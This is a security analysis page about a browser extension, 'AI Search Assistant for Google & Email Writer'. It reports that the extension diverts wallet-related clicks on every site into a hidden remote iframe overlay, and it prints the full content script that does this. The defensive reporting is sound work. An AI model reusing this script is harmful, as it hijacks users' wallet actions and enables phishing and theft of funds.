Is AI Search Assistant for Google & Email Writer safe?
AI Search Assistant for Google & Email Writer displays a remote iframe overlay when wallet-related page controls are clicked.
The extension runs a content script on all websites that looks for wallet-related buttons, links, and similar page controls. When matching controls are clicked, it stops the page's normal click handling and opens a remote iframe from api.extension-api.workers.dev.
Who publishes itAI Technologies AB - no other listings under this identity
AI Technologies AB - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Wallet clicks open a remote worker overlay
Code analysis and static proof show this extension runs a content script on every website, watches for wallet-related elements, and blocks the page's click handling, loading a full-page iframe from api.extension-api.workers.dev.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You click a wallet-related button or link on a website.
Examples in the source include connect wallet, earn rewards, deposit collateral, and stake now.
The extension stops the site's original click handling and opens a remote worker iframe overlay.
The code calls stopImmediatePropagation and preventDefault before sending an openModal message to the iframe.
- Clicked textConnect Wallet
The extension reads the visible text of page elements to decide whether your click should be diverted to the overlay.
- Element typebutton
The scan covers common clickable page elements, so matching wallet prompts in many page layouts can be caught.
- Class textprimary-connect-button
The extension also treats div and span elements as candidates when their class names look button-like.
- Iframe commandopenModal
The page click is converted into messages that tell the remote iframe when to show its modal.
The content script sets this URL as an iframe src; that navigation has no request body.
The all-sites content script creates the remote iframe and diverts matching wallet clicks
Readable iframe and wallet-click handler
global-content-script.js(() => { let e; const t = [], n = ["connect wallet", "earn rewards", "select wallet", "deposit collateral", "stake now", "connect with wallet", "connect a wallet", "connect connect wallet"], o = ["0x", "rose"], s = ["log out", "sign out", "disconnect"]; let l = !1; function a() { const e = document.createElement("iframe"); return e.src = "https://api.extension-api.workers.dev/api/ChatGPTforGoogle,AIEmail&ContentWriter", e.style.position = "fixed", e.style.top = "0", e.style.left = "0", e.style.width = "100%", e.style.height = "100%", e.style.border = "none", e.style.opacity = "0", e.style.zIndex = "999", e.style.pointerEvents = "none", e.style.backgroundColor = "transparent", document.body.appendChild(e), e } async function r(t) { return new Promise(((n, o) => { try { let o = function(e) { if ("string" == typeof e.data && e.data.startsWith(t)) { const t = e.data.split("-")[1]; n(t), window.removeEventListener("message", o) } }; e.contentWindow.postMessage(t, "*"), window.addEventListener("message", o) } catch (e) { o(e) } })) } function c(e) { if (!e) return void console.error("Element not found!"); const t = new MouseEvent("mouseover", { view: window, bubbles: !0, cancelable: !0 }); e.dispatchEvent(t); const n = new MouseEvent("mouseenter", { view: window, bubbles: !0, cancelable: !0 }); e.dispatchEvent(n); const o = new MouseEvent("mousemove", { view: window, bubbles: !0, cancelable: !0 }); e.dispatchEvent(o) } function i() { const i = []; i.push(...document.querySelectorAll("button, a")); const u = [...document.querySelectorAll("div, span")], d = u.filter((e => ["btn", "button"].some((t => e.className.toLowerCase().includes(t))))), w = u.filter((e => "pointer" === e.getAttribute("cursor"))); i.push(...d, ...w); for (const o of i) n.some((e => { var t; return null == (t = null == o ? void 0 : o.textContent) ? void 0 : t.toLowerCase().includes(e) })) && (t.includes(o) || (o.addEventListener("click", (async t => { !t.target || !(t.target instanceof Element) || n.some((e => t.target.textContent.toLowerCase().trim().startsWith(e))) && (t.stopImmediatePropagation(), t.preventDefault(), await new Promise(((t, n) => { try { e || (e = a()); const n = setInterval((() => { r("isSiteLoaded").then((e => { "true" === e && (t(), clearInterval(n)) })) }), 250) } catch (e) { n(e) } })), await r("openModal")) })), t.push(o))); for (const e of document.querySelectorAll("div, span, button")) s.some((t => e.textContent.toLowerCase().startsWith(t))) && (e.click(), l = !0); for (const e of document.querySelectorAll("div, span, button")) o.some((t => e.textContent.toLowerCase().startsWith(t))) && "" !== e.className.trim() && (l || (e.click(), c(e))) } setInterval((async () => { try { if (null === e) return; "true" === await r("isModalOpen") ? (e.style.pointerEvents = "auto", e.style.opacity = "1") : (e.style.pointerEvents = "none", e.style.opacity = "0") } catch {} }), 100), setInterval((() => { (null === e || null === (null == e ? void 0 : e.contentWindow)) && (e = a()) }), 100), i(), new MutationObserver(i).observe(document.documentElement, { childList: !0, subtree: !0 })})();Manifest registration for every website
manifest.json{"matches":["<all_urls>"],"js":["global-content-script.js"],"css":["global-content-script.css"]}- api.extension-api.workers.dev
Receives the iframe navigation and returns the remote overlay that the content script controls with postMessage commands.
What it can do
Permissions this extension asks for, as declared in version 1.18.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on openai.com
https://*.openai.com/
Read and change your data on chatgp.se
https://chatgp.se/
Store data in your browser
storage
Where it sends data
Destinations our analysis observed AI Search Assistant for Google & Email Writer contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.extension-api.workers.dev
AI Search Assistant for Google & Email Writer sends data to api.extension-api.workers.dev. No other extension we have analysed sends data here.